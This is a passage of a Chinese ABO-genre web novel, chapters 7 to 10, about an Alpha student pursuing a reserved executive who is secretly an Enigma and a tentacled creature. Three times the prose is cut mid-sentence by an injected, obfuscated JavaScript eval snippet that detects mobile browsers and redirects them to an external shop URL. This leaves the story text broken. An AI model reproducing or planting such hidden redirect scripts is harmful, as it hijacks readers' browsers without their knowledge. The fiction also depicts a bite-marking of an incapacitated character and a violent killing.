《就这个EA爽!!!》 7. 第 7 章 乌木的气息铺天盖地,原烙音仿佛置身潮湿闷热的雨林,睁开眼睛,只看见一片黑暗。 他想坐直身子,刚刚动弹胸口就传来洞穿的剧烈疼痛,强制封锁的记忆回笼,他忍住不适打开灯。 衣服裤子好好待在该待的位置,原烙音掀开上衣,看见心脏上方的腺体表面有一个暧昧的牙印。 没有抑制贴束缚的腺体正肆意散发着混杂青柠味的乌木气息。 他的腺体被彻底鸠占鹊巢。 闵随! 他居然敢趁人之危! 再看手上宽度超过十厘米的红痕,原烙音细细思考,却对造成原因一筹莫展。 对面传来奇怪的声响,原烙音循着动静看去,只见沙发上窝着一人,衬衫由于动作有些皱,脸上带着肉眼可见的疲惫。 狭小的空间显然对高大的男人来说过于逼仄,但他别无选择。 “闵先生。”原烙音咬牙切齿,恨不得扑过去朝闵随的腺体狠狠咬一口,“不解释吗?” 他担心自己的身体状态,符忍盛特意强调绝对不能接受临时标记,他本来对这种把戏游刃有余,可从未出现的认知失调彻底打乱了他的阵脚,令他陷入尴尬的境地。 但他算漏了闵随没有表现出来的那么正人君子,自己的肘击也没达到想象中的效果。 不幸中的万幸,他还没有出现不良反应。 “你进入易感期,医生说你信息素水平极其不稳拒绝开药治疗,你意识不清,我不能替你决定是否请求Omega志愿者帮助。” 闵随没控制住自己,显然有些理亏,说出认识以来最长的一段话,但他的表情还是冰得恼人。 “到了酒店你要求我带你回3302,之后发生什么你应该记得,我到底为什么咬你,你也应该知道。” 张牙舞爪的Alpha瞬间偃旗息鼓。 “看来你的易感期的确不稳定,短短一天时间就结束了。”闵随站起身揉揉酸痛的肩颈,“我就在隔壁,你有事可以敲门,至于临时标记,一周就会消失。” 门锁传来咔哒一声,闵随离开了。 原烙音随手抄起枕头蒙在脑袋上无声尖叫,不愿面对现实。 刚刚对着闵随不过是睡醒脑子不清晰的色厉内荏,但凡他多想起一秒钟的不堪回忆,也不敢理直气壮地逼问闵随要一个解释。 解释什么。 解释他为什么要全程抱着闵随不撒手,像个出门都会被扇巴掌的弱智儿童动不动就撒娇?还是解释他故意撩拨闵随,咬他的肩膀还肘击。 他摸摸死状惨烈的腺体,忽然觉得被咬一口就一笔勾销实在是太划算了。 闵随还是个很好的人。 原烙音收拾好心情,赤足踩在地板上,路过镜子瞄了眼自己的脸。 不知道是不是易感期认知失调的连带作用,他一个身高一米八的铁血Alpha居然有些诡异的梨花带雨鼻尖发红。 太好看了,怨不得闵随。 他准备倒杯水开始今天的美好生活,却意外瞥见水壶边上的两本书,笑容僵在脸上。 书的位置不对,再联想闵随就睡在桌旁的沙发。 原烙音彻底收回刚刚的想法,闵随就是个不折不扣馋他身子的下贱伪君子! 拉开窗帘天光大亮,暖融融的阳光抚摸在原烙音的面庞,柔软的发丝也镀上金光。 他捡起不慎掉落地面的测量仪,打架时屏幕摔成了蜘蛛网,上面的数值在不断变动着,最后停留在低于正常值的水准。 原烙音并不意外,只是吸入都能短暂降低正常值,更别说连升几级的临时标记,他和闵随本来就不是医学界常见的供给关系。 他只是后悔自己粗心大意,忽略到易感期真到的可能性,白白送上门给人占便宜。 他,原烙音,实验室里人见人爱的学长,地下拳场冉冉升起的新星,一个拳头比铁硬,一打九不在话下大获全胜的铁血Alpha,居然被人咬了! 还是自己送上门的。 最最重要的是—— 【原烙音:医生,我被咬了,会不会有什么事啊】 他已经幻想符忍盛在对面要求吸氧的惨状,果不其然,消息立马弹出数条。 【A符忍盛:你说什么!】 【A符忍盛:你要死啊我的话当耳旁风你不要命了你】 【A符忍盛:(语音10s)】 【A符忍盛:(语音19s)】 【A符忍盛:(语音59s)】 点开就是老头中气十足的国骂,外加让他立刻马上滚回国内做全面检查。 剩下的原烙音没继续听。 他阳奉阴违,按下语音键谄媚十足:“医生,我回来给你带纪念品呀!” “小原收到,马上回来。” 回去是不可能回去的,他好不容易逮到机会,忽略自己占70%的责任,勉强能够将“色令智昏,好色之徒”的帽子扣在闵随头上。 过程不尽人意,至少结局还能手动改变。 腺体状态很健康无疑是带给原烙音好心情,为了自己长命百岁,他什么都豁得出去,不就是赔笑脸装恋爱脑吗? 谁不会。 * 将原烙音走廊大喊的暴行制止后,闵随挡在门口阻止他闯入的不良居心。 在经受一番胡搅蛮缠后,闵随推掉W·Queen的邀约委婉表示自己需要休息,实则陪一肚子坏水的年轻Alpha共进晚餐。 “你就非吃不可?”闵随望着外卖送来的一桌子他八百年没吃过的快餐,表情有些皲裂。 “我馋了。”原烙音薯条嚼得开心,另一只手捧着可乐,“连着吃了三天白人饭,还是汉堡得我心意。” “我们算在一起了吗?”他不愿意放弃任何机会。 “昨天是特殊情况,违背你的意愿我向你道歉。”闵随奇怪地瞧他一眼,不知道这小孩脑子里整天装得是什么废料,“你可以把我当作Alpha志愿者,甚至Omega也行,只要你乐意。” 毫无新意的拒绝。 “可我说了要追你耶。”原烙音在点餐前还温习了课本知识,运用实战得心应手。 “我拒绝。”闵随想都没想便道,直接把原烙音其他话堵了回去。 忽然膝盖传来奇怪的触感,他朝下看去,风平浪静摆满零食的桌面下是旖旎画面,青年赤足奋力撩拨着不解风情的男人,上半身却面色如常地吸着可乐。 “这也是你在《追Alpha你该这样做》里面学的?”闵随没有起任何涟漪,只是缩回腿,挑选卖相尚可的鸡腿咬了一口。 原烙音的腿收回去规规矩矩坐好,电视里自动播放的爱情片满屏都是粉色泡泡,房间内却因为闵随的话气氛降到冰点,桌子就是楚汉之界。 “小朋友,我劝你不要在我身上浪费时间,我们的关系止步于昨天晚上就可以了。”闵随的话不留情面,无论从哪个角度看都是毫无转圜的拒绝。 “你并不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152801|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢我。”闵随一锤定音,但绝非空穴来风,“我认识你的家人,并不想因为你的缘故影响IMS的业务。” “我认可你的能力,毕业后欢迎加入IMS,信息与计算机类公司的研发部都需要你这样高精尖人才。”闵随起身离开,仿佛昨晚只是一场梦。 “闵先生不相信我喜欢你。”原烙音从未想过自己的演技拙劣到被人一眼看穿,此时此刻Alpha的好胜心开始作用,他的眼神又像昨日那般水盈盈,“没关系,我会让您明白我的心意。” “不要浪费时间在不必要的地方。”闵随带上门回到自己的房间,没有任何留恋。 关系着他残缺的腺体,怎么可能是浪费时间? 原烙音对着剩下的炸鸡没了胃口,打通远在祖国南方的电话。 “音音。”他还在拆脑子里乌七八糟的烂毛线球,听筒就传来熟悉的声音。 “爸爸,听父亲说您前天去听了演唱会?”没想到打给父亲的电话接通的人是爸爸,原烙音随意闲聊搪塞,“是不是很开心。” “原烙音,别以为你不说我就不知道你去了拉乌斯蒙德。”年长男性的声音很温柔,却还是让万里之外的原烙音汗毛竖起。 “你不会是去追人的吧。” “我没有!”小心思戳破后原烙音急得跳脚,知道躲也躲不过只能坦白从宽,“爸爸,您怎么知道的?” “朋友圈屏蔽选成@了吧,蠢成这样,出门旅游藏着掖着就算了,照片里面还有那种情商为负的人都不会买的傻瓜书。” 爸爸说话一向那么直白,原烙音只觉得脸热,所幸很快电话就到了父亲手中。 犹豫半天,闵随的话还在脑子里盘桓,他忍不住问,“父亲,您认识闵随吗?” 他不抱希望,家中公司的业务大多在南方,且与IMS包揽的行业丝毫不沾边。 “闵随,IMS那个,你问他做什么?”原仲盛的语气有些古怪,“前些天你二叔骂骂咧咧一晚上,说那小子撬特食的墙角,丢了不少钱进去。” 这就是闵随口中和他家人的合作? “他是我们导师的朋友,毕业后老师也推荐我去IMS工作。”原烙音随口找了个勉强合理的回答。 “去可以,和闵随少点接触。” 原烙音越发心不在焉,他的手背皮肤因为摩擦一片通红。 不好意思,你儿子腺体这七天散发的都是青柠乌木混合信息素,牙印还在胸前没消呢。 “你是不是和他见过面了?”原仲盛问道。 何止见面,一次比一次深入。 “在拉乌斯蒙德遇见他了,觉得很有缘。”原烙音是坚定唯物主义者,只相信事在人为。 “什么鬼缘分,那么远都能碰见,音音,听话,别跟他深交。” 他挂断电话,将剩余可乐一饮而尽,闻着十几个小时都没散去的信息素气味,叹了口气。 那也要有机会深交才行啊。 原烙音不知道是哪一步错了,闵随居然比他想象中还抵触他的追求。 难道真是因为眼中没有爱意演戏太假? 光说不练假把式,小原同学深谙实践出真知的道理,但理论学习不能忽略。 他着手开始调查世界排行榜前列的爱情电影,筛选出人人都说主角恋爱脑的片子记录在册,准备好好分析如何做一个成功的恋爱脑。 对于前半生没牵过异性手,对爱情嗤之以鼻的母胎小原来说,这是个非常有意义的挑战。 8. 第 8 章 原烙音从小到大看过的爱情片屈指可数,他总是因为能从电影里找出逻辑缺漏,觉得故事走向可笑而中场退出。 “暧昧是感性的文字,是两个人的共鸣,我追求你,我亲吻你,但我还是一个独立的个体,这只是证明我有身为人的权利,我并没有低你一等!” 电影里,Omega女主角的呼喊振聋发聩,她没有歇斯底里,没有眼泪,长相普通,衣服也没有光鲜亮丽,但仅仅是站在那里就闪闪发光,她的话透过字幕与听筒,直击每一个观众的灵魂。 原烙音抱着薯片认可地点点头,他追求闵随自取所需,没什么好丢人的。 一边想着,月亮紧闭的窗户外已完成东升西沉的轮回,到一个半球继续她的旅途。 原烙音的机票定在后日,他要先到学校收拾行李,再准备回家过年。 不出意外,返校后就是他学生时代最后一段旅程。 闵随说过他住在隔壁,Alpha衣服下的牙印没长好依旧摩擦着发疼。 原烙音决定趁热打铁,踩着这场意外情事的余温发展一下进度个位数的事业感情线。 他微笑着,敲响闵随的门。 陆陆续续三次敲门没有任何回应,原烙音咂出点别的意思,凭直觉点开闵随的朋友圈。 【拉乌斯蒙德之旅圆满结束,感谢W·Queen集团对IMS的大力支持,合作愉快(握手)】 很官方的文字,如果不是微信只能看见共同好友的评论与点赞,原烙音几乎怀疑闵随是故意发给他看的。 跑了。 闵随跑了。 原烙音回到房间,想起自己残缺的腺体还要靠闵随支撑,只能忍住气。 是方法用错了吗? 他并不是盲目自信的直A癌,从不相信自己会绝对正确。 【原烙音:闵先生,您回国了吗?】 【原烙音:(冒头.jpg)】 或许是在忙,或许是还在飞机上,闵随并没有任何回应。 原烙音退出微信界面,戴上耳机准备外出填补他倒计时一天半的拉乌斯蒙德之旅。 * 回国第一件事,原烙音先到地下拳场参加观赏赛,在拉乌斯蒙德时,他的电话都差点被经理打爆。 所谓观赏赛,它的规则如名,但观赏的主要目标并非血腥暴力的抗争,而是展现Alpha的长相与身材魅力。 同样,票的买主往往是Beta与Omega。 原烙音本来对这种比赛不感兴趣,但对方给的实在是太多了。 他戴着镶嵌尖锐柳钉的chocker,大腿处束缚着黑色绑带,紧绷的肌肉形状漂亮,彰显着力量感,在战局结束时几乎不费吹灰之力就将对手一拳KO。 “Iron获胜!” “第三赛季他已经连胜十一局,让我听见你们的欢呼!” “Iron!” 全场都在呼喊他的名字。 他淹没在尖叫与鲜花中。 听见经理已经将钱划到卡上后,他便将带有异域风情的挂件随手送给经理,准备回学校休息。 电梯依旧卡在地下二层,原烙音本就因为闵随憋着一肚子火,彻底忽略什么路人甲死法大全,打开手电筒朝外走去。 地下停车场停着不少叫得出名号的好车,安全通道指示牌散发着诡异的绿光,地面不知道是什么材料,踩上去摩擦声与回音并存。 他闻到一股鱼腥味,腐烂的臭气很是恶心,反胃的冲动还没压下,就凭身体意识朝右一躲。 Alpha回过头,看到攻击者的全貌。 那人裹着垂到地面的斗篷,身高中等偏低,大概在原烙音胸部,看不出是男是女,只是很瘦。 “开玩笑不是这么玩的。”今天不是万圣节,在地下停车场cos巫师脑子是有什么毛病,“小朋友,我可是打拳的,一拳下去马上就可以120急送到院。” 他不喜欢这种玩笑,警告过后就准备往回走,毕竟没有人会不长眼招惹才从拳场下来的Alpha。 “嗬……嗬……” 那人嘴里发出模糊不清的声音,紧随其后是电流的噪声,像是耳鸣。原烙音捂耳朵的瞬间,那人扑上来,他看见伸在眼前的手,指间有几乎透明的黏腻皮肤连接。 像是传说中人鱼的璞状手指。 “敬酒不吃吃罚酒是吧。”那人上来就用挖眼睛这样的阴招,原烙音也没什么怜悯心,牟足劲一脚将人踹飞三米远,狠狠撞在停车场的柱子上。 本来就不好的心情更是雪上加霜,他回到电梯,按下关门键,电梯开始工作缓缓上升。 原烙音捏捏鼻梁,满脑子都是那只不同于常人的手,像在水中浸过很久,呈现出的是泡发的白。 脚步声越来越近。 “我警告过你。”闵随不知道从哪里冒出,停车场二层的所有监控在同一时刻爆开,巨大的触手蔓延,像是夺命的死神镰刀。 米若的五官还是错乱的,但它依旧拥有眼睛视物的能力,斗篷下不再是一团黑雾,肌肤透明,能够看清血红的内脏。 【饶了我……我不知道他是您的……】 “你很好。”闵随的皮鞋踩在它的脸上,就像踩中一滩微微凝固的水,触手伸出从米若脚底开始缠绕收紧,并一圈一圈向上裹住挤压。 “我上次警告过你,不要打他的主意。”闵随冷眼看着这只米若发出生命垂危的痛苦哀嚎,“你以为我不在国内就不知道你的那些小动作。” 米若的身体里99.7%都是水,它此时此刻要将这些水化为涕泪企图唤醒塔卢索的怜悯。 它错了,怎么会有塔卢索不爱自己的命定伴侣呢。 于塔卢索而言,找到伴侣是祂们几乎等同无尽的生命中唯一的目标,是祂们存在于世界的意义,只要有任何事物会威胁到伴侣的安危,塔卢索会不惜一切代价铲除。 “即使我不喜欢他,他也是我的命定伴侣,你居然敢觊觎他的眼睛。”闵随的触手收缩挤压,米若身体里的粘液爆裂开来,下一秒开始蒸发,像是从未出现在世间。 闵随收回触手,脑海里是Alpha的长相。 眉飞入鬓,五官立体,是具有攻击性的野蛮长相,还长了一双最漂亮的眼睛。 那双眼睛弧度是柔和的,中和他容貌的锐利,那么的格格不入又漂亮地像是天生本该如此。 闵随的拳头攥紧又松开,他好像受原烙音的信息素影响太深了,以至于得知Alpha落地后去万盛打拳,就鬼使神差地来到这里。 刚刚Alpha在台上的装扮很好看。 Alpha在社交场合会戴上抑制贴以示尊重,但再强效的抑制贴也只能锁住大部分信息素,余下的百分之几淡得与空气没什么两样。 但Enigma不同,他们没有腺体,或者说全身上下都是腺体,他们可以任意操纵自己的信息素,释放与封锁,都在他们的掌控之中。 没有人会知道,IMS的董事长会是从未证实的新性别Enigma,更没人会知道,他的乌木信息素正与青柠交缠,难分难舍。 这已经影响到他的理智判断,闵随想,他过于关注原烙音了。 没有哪一个塔卢索是因为信息素吸引爱上伴侣,他们爱的是伴侣本身,是全部,即使信息素会像伊甸园里的禁果充满诱惑。 他断定自己不喜欢原烙音。 “谢垣,找符医生约个时间,我要清除体内原烙音的信息素。” 或许去除这些不必要的影响,他对原烙音的想法才会发自内心。 * 实验室里锣鼓喧天像是已经到春节,这都是因为人见人爱,花见花开的原烙音带着拉乌斯蒙德特产强势回归。 除了人手一份的挂件,还有各种小原同学亲口品鉴亲手挑选层层选拔带回来的零食和纪念品。 “真好看,谢谢学长。”沈清诺捧着手中可以当项链的挂件,凑到原烙音身边,“学长,你过年什么时候回邛光?” 他一提原烙音才想起来,这个水蜜桃学弟和他是来自同一城市的老乡。 “二十六七吧,不是很确定,还有那么多天。”原烙音摊手,和不和学弟一道在他看来无甚分别。 “好叭。”沈清诺点点头,拆开原烙音放在桌子上的小零食,见原烙音朝外走随口问道,“学长回去放行李吗?” “不,去送温暖。”原烙音兜里放着五六七八个挂件,他落地的消息已经被符忍盛知道,幸好打拳的行踪没有暴露,但不快点滚去医院全身检查恐怕夺命连环call就要打来。 符忍盛空出下午的时间,双手抱胸等着原烙音负荆请罪。 “医生!我好想你啊!”原烙音表演型人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152802|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格分裂出来,坐到医生对面先拿出礼物,“漂亮吧,这可是我去拉乌斯蒙德最灵地方特意求的护身挂件。” 俗话说伸手不打笑脸人。 原烙音嘴甜,长相好,符忍盛自从第一次遇见他已经过去七年时间。 “抽血没有。” “检测报告。”闵随递出纸质报告,“我现在活力满满,腺体健康得不能再健康。” 他缺失的那一类蛋白的作用是清除多余的信息素,将体内水平维持在稳定区间,并参与他残缺那部分腺体的构成。 “他量级比你高?”符忍盛带着老花眼镜,眼神越来越认真,“你的数值远低于正常水平,还敢说是健康,现在收拾跟我去安全屋。” “他量级肯定比我高,头一次就把我临时标记了。”临时标记成功率那么高的情况,只有两种解释,其一便是闵随的信息素量级远高于原烙音。 其二就是玄学。 “你不疼吗?”符忍盛这才想起双A标记后的排异反应,但原烙音看上去接受程度非常高。 “不疼,非常好!”原烙音也将其归咎于神奇的双A契合度,闵随的信息素都能够吸引他,不产生排异反应也在意料之中。 安全屋在医院住院部十一楼,和医学部实验楼模拟环境的安全屋没什么两样,墙壁上密密麻麻都是毁坏后修复的痕迹,那是不知多少易感期有破坏倾向的Alpha忍受不住攻击欲望而造成的损坏。 “不要紧张,放松,深呼吸。”符忍盛朝原烙音的腺体表面皮肤擦上麻药,“待会我会用药唤醒你处于抑制状态的腺体,提高你信息素的攻击性,你就想着把另外一股Alpha信息素驱逐出去。” “没必要那么麻烦吧。”他对闵随的信息素接受挺好,从头到尾没有一点不适反应,甚至还感觉到前所未有的轻松。 “不懂就不要乱说。”符忍盛的生气显而易见,“你两位父亲把你托付给我,你还是我师兄的孙子,我不会害你。” “原烙音,你知不知道,信息素水平低危险性远远高于另外一种极端情况?”符忍盛等待药效作用,放在桌上的药剂针头粗得吓人,“恶心呕吐那都是最基本的,你会休克、幻觉,长时间下去甚至出现抑郁、精神分裂的连带反应,最严重的,就是猝死。” “你在拉乌斯蒙德,陌生的国度被同性标记,有没有想过自己的身体能不能承受住?”符忍盛将药剂打进原烙音的腺体,他虽然是个Beta,但也清楚那是什么样的疼痛。 原烙音连半点声响都没有发出,就在符忍盛怀疑他是不是痛晕过去时,只看见Alpha咬着唇,手用力到发白。 这种痛他早已习惯,每两个月他都会到医院用过医疗手段直接清除多余信息素,但永远都是治标不治本。 深入骨髓的痛也从来不会减少。 “对不起,符爷爷。” 他第一次这么称呼符忍盛。 “爱惜你自己,我会想到办法的。”符忍盛叹了口气,带着褐色斑的手抚上原烙音的头。 药剂注射十三分钟后发生反应,一开始原烙音只能感受到腺体被针贯穿的疼痛,随着时间往后推移,腺体皮肤之下逐渐泛起酸涩。 痛。 原烙音无法用准确语言形容那种痛苦,他的信息素跳动着,一反之前的安静,叫嚣着要将侵占领地的乌木驱逐出境。 虽然闵随的信息素有奇效,但是为了小命,原烙音必须乖乖遵循医嘱。 驱逐不属于自己的信息素是痛苦的,疼痛等级不亚于Omega洗去最终标记,他的手指钳进皮革包裹下的海绵之中,额角冒出细细密密的汗珠,牙齿狠狠咬住符忍盛担心他咬断舌头塞进来的医用纱布。 房间里终于散发出乌木气息,宣告着原烙音抗争的胜利,又很快被天花板上的管道吸收清除,放出镇定的舒缓剂。 这个过程很漫长,等到后背全部浸湿,原烙音痛到神智涣散,身体发生连锁反应,胃传来痉挛的痛。 不知多久后,麻木的口腔传来湿润纱布摩擦的触感。 “好了。”符忍盛取下他口中的纱布,揉揉他酸涩的腮帮,“小原,一切都会好起来的。” “嗯。” 有希望了,他会好起来的。 即使从来没有人能够战胜腺体残缺的天生诅咒,但相较于不能分泌信息素的个体,他又是幸运的。 9. 第 9 章 没有闵随的信息素压制,外加药物残留,原烙音体内的信息素水平又开始缓慢上升,他解开束缚手上的绑带,望见符忍盛收拾东西的背影,没忍住问道。 “医生,会有人的手是璞状的吗?还带着很臭的海腥味。” 腐烂的鱼腥味和不似常人的泡发手掌,那简直就是都市传说里杜撰出来的恐怖生物。 符忍盛的表情有些怪异,像是不明白原烙音的跳跃思维,但还是认真思考后答道:“你知道几十年间世界各地都有核污染事件发生,未公布案例中有很多受灾的生物,你说的可能是从灾区来的人。” “基因是很神奇的,它们的突变率放在个体上极低,但放在种群放在核污染的环境下,概率可能会随着时间呈J型曲线增加。”符忍盛用尽量通俗合逻辑的鬼话搪塞原烙音。 Alpha青年点点头,跟在符忍盛身后出去,接过医生手中的一堆杂物。 “我昨天遇见了。” 符忍盛闻言脚步顿了下,侧过脸瞧原烙音一眼,回到办公室关上门才道:“你说什么?” “就在万盛地下二层停车场,很诡异,冲上来就想要挖我的眼睛。”原烙音对弱者总是有些怜悯心,那个怪人一脚被他踢飞,恐怕骨头都断了几根。 但联想起为什么要踹,原烙音两巴掌抽走自己不必要的圣母心。 要不是他反应快,说不定眼睛都瞎了。 符忍盛听他絮絮叨叨说奇闻异事,最后只是举起文件拍在他脑袋上,“别想这些有的没的,我们要信奉科学,你可能就是遇见个污染病患者。” 要知道,体内器官出现问题,也可能散发出腐烂的气息,无论洗澡多么勤都无法掩盖那种从肉里散发出来的恶心味道。 “过年回家前先来医院一趟,领点药回去。”符忍盛在诊单上唰唰写着,“你再胡来,我肯定告诉你爸。” “我那么听话的。”原烙音把兜里其他挂件掏出来放在桌子上,“医生,你记得分给你学生,说是我送的,保平安。” 符忍盛很忙,也不是随时随地都能亲自给原烙音做检查,不止一次派他手下的博士生来帮忙。 “就你小子嘴甜。” 时间到了傍晚,原烙音回实验室继续他的打字机生活,测量仪上的时间一点点流动,待他发现时已经到达凌晨。 原烙音伸个懒腰,凭借礼物夺得今晚实验室单人床支配权,将所有试图留在实验室打地铺的人全部赶回宿舍。 但他打游戏不知不觉间听到楼下扫帚莎莎声。 四点了! 快抓紧时间睡觉! * 代码写好后只需要时间训练,原烙音暂时解放双手,又因为礼物把实验室从大到小哄得服服帖帖,此刻正拐道去往IMS总部大楼。 现在过去正好是午休时间,也不至于打扰闵随。 乌木信息素是拔除了,但那个牙印还在胸口待着,想起符忍盛那个欲言又止的眼神,原烙音就脸热。 虽说信息素水平低是极其危险的状况,但也侧面反应了闵随的信息素的确很有用,只要控制住不被临时标记,他的身体还是能够接受。 闵随是至关重要的变数,他必须快些搞定,赶在他身体彻底崩溃之前。 进度本来就是个位数,以他和闵随八竿子打不着的关系,如果不自己努力,过完年回来闵随连他是谁恐怕都不记得。 爱情电影里除了网恋,见面都是促进感情的基础。 IMS大楼位于CBD中心,拥有一整栋高达36层的大楼,由于福利好,工资高,环境好,是不少人心之所向。 原烙音背着包,手揣在兜里摩挲最后一个挂件,径直走向前台。 “您好,有什么可以帮到您。”前台是位短发的年轻Beta女性,挂着恰到好处的职业微笑。 “我是A大N·C实验室的原烙音,导师是卓蒙教授。需要见闵董事长,没有预约,麻烦您帮我问一下。” 没有什么狗血文里狗眼看人低的情节,闵随也不是文里高高在上不可一世的霸总,前台小姐听完后拨打内部电话询问董事长助理。 “麻烦您稍等一下,已经有人去告诉闵董了。”前台示意他在候客区稍作休息,还送来一杯温开水。 事情发展已经是出乎意料的顺利,原烙音习惯性瞥了眼新的测量仪,他注射过兴奋剂,本来分泌速度微高于常人,现在更是已经达到正常范畴。 不出意外,就这几天他又要回到药物控制的生活。 “先生,请跟我来。”前台取出特殊电梯卡,领原烙音到高层专用电梯,“闵总刚刚结束会议,谢助在顶楼等您。” 就在原烙音疑惑谢助是谁时,电梯门已经缓缓关上,他望向对面镜像中变形的脸,撇撇嘴。 果然大企业就是不一样,他家公司就没有什么高层专用电梯。 “原先生。”谢垣朝他点点头,“闵总出差期间南方子公司出现纰漏,刚刚才开完会罚了好些人。” 原烙音明白这是助理先生的提醒,但他还不是IMS的员工,闵随如果真控制不住情绪,他能忍勉强忍,实在忍不了骂回去就好了。 谢垣只送到门口便转身离开,恍惚间原烙音听见偷笑的声音,但助理先生身板挺得很直。 或许是听错了。 原烙音摇摇头,轻轻敲响门。 “进。” 他推开门,映入眼帘的是好风景,几乎占据三分之一顶楼的办公室很是气派,落地窗设计,还有一张足够几个人躺在上面的办公桌。 “回来干什么,没听懂要求吗?”闵随还以为是重新做方案回来的部门总监,难看的神色还摆在脸上,他没听见回应抬起头看清楚来人,轻咳一声,“小原?” “有什么事吗?” “想见你呀。”原烙音走过去自来熟靠在办公桌上,压低身子凑到闵随面前,但还不至于过火,“闵先生的牙印还在我腺体上没消呢。” 闵随望了他一眼,眼神有些古怪。 Enigma的五感比被称为天之骄子的Alpha更加灵敏,他们能够捕捉到精密仪器才能检测出的超低浓度信息素。 这是天赐的能力。 闵随不用费力,就知道原烙音身上属于他的乌木信息素全部消失。 微妙的酸楚感在Enigma心中蔓延开来,闵随认定那是原烙音信息素对他的影响,并不理会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152803|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “上次情况特殊,如果现在你没有急事,我会请你出去。”闵随的鼻梁很高,原烙音不合时宜地想如果架上副眼镜会是什么模样。 他也曾在拉乌斯蒙德调戏闵随时提到他适合戴眼镜。 “别这么生分嘛闵先生。”闵随坐直身子,从兜里掏出渡上体温的挂件,“我猜您走得匆忙,肯定没来得及去逛逛拉乌斯蒙德的教堂。” “礼物?”回国是整个团队的行程,闵随并不想修改,但他同样觉得没必要向Alpha解释。 “当然。”原烙音点头,“闵先生,晚上一起吃个饭怎么样,我知道有一家很难订的餐厅,老板我认识,有兴趣吗?” “抱歉,今晚有约。” 闵随收下挂件随手套在笔筒上,还留意原烙音的表情,果然没有看出半点被拒绝的失落。 “谢谢,很漂亮。” “闵总,舜恒的姚总来电说今晚家里出了急事,希望可以改日再约。”敲门声响起,谢垣的声音及时隔着门传来,闵随桌下的手猛然攥拳。 那库斯! 【你要是再偷听一个字,我立刻让你再也用不了你的种族能力】 透过门缝违背物理规律的影子像液体般流动着退出办公室,就像是从未来过。 原烙音并没注意远处的异常,他挑挑眉,脸上挂着得意的笑。 “今晚有时间吗闵先生。”他恶意戏谑着,看起来闵随吃瘪的确令他心情愉悦,更多的青柠气息被闵随捕捉。 小腿故意蹭上闵随的西装裤,不知道原烙音从哪里学来的昏招,闵随本来就难以抵命定伴侣的吸引,更别说还有信息素加持。 他抓住Alpha紧实的小腿,力道不小,语气带着威胁。 “小原,这可不是什么好习惯。” 就像是下一刻要掰断他的腿。 “我只是问问您今晚是不是有时间。”原烙音很无辜,他轻松挣开闵随收力后的手掌,“您的答案呢?” “地方我定,现在我需要处理工作,别告诉我你要一直呆在这。”闵随捏捏鼻梁,拿胡搅蛮缠的Alpha没办法。 “IMS那么多人,董事长连午休时间都挤不出来吗?”原烙音走到办公室另一头的沙发上,抓住抱枕锁在胸前。 “本来是有二十分钟的。” 只不过现在都被忽然冒头的原烙音占了。 “我就坐在这里。”原烙音打定主意要多留些时间,他的电影不是白看的。 闵随感觉到青柠信息素浓度越来越高,他知道那并非青年本意,但暴起的青筋几乎要冲破皮肤。 “去休息室。”闵随按下摆放在书桌上的装饰品,左后方的书架往两边分开,露出黑漆漆的房间。 就像什么秘密处决基地,虽然是法治社会,但原烙音还是控制不住胡思乱想,他的第六感告诉自己不要进去。 “要不就出去。”闵随的话很不客气,“你打扰到我了。” 原烙音讪笑两声,钻进休息室中,随着机械的声响,书架渐渐合拢。 陷入黑暗伸手不见五指的原烙音望着缓缓消失的最后一丝光亮,脑海里浮现出一个大大的问号。 他这是被关起来了? 10. 第 10 章 休息室没有窗户,就像是猎奇电影关押豢宠的密室。 原烙音被自己天马行空的幻想逗笑,用手电筒把整个休息室都照了个遍,还是没找到灯的开关。 他不好意思上床,就随便往地板一坐,靠在床沿昏昏欲睡。 乌木气息很淡,但存在感很强,虽然属于原烙音腺体的那部分已经被医院排气管搅碎,但原烙音还是会因为不合常理的双A契合度而控制不住的放松。 令人安心的味道,黑暗加上绝对安静,真是太适合睡觉了。 闵随推开门就看到这样的场景,控制休息室的灯在外面。本来以为Alpha在里面待几分钟就会敲门,没想到指针走过半圈,还是没有声响。 原烙音的脸挤在柔软的被子上,嘟出一小块肉,闭着眼睛呼吸平稳。 “小原。”保持这个姿势极大可能醒后会浑身酸痛,闵随拍拍Alpha的肩,只收获两声带着微微摇晃的哼声。 熟睡的Alpha很可口,门缝透出的光亮恰好照在他的脸上,闵随压下由于体内未代谢的青柠信息素带来的阴暗心思,将原烙音打横抱起脱掉鞋子塞进被窝,就出去继续没做完的工作。 关上门的瞬间原烙音睁开眼,耳中是漆黑一片都无法掩盖的心跳声。 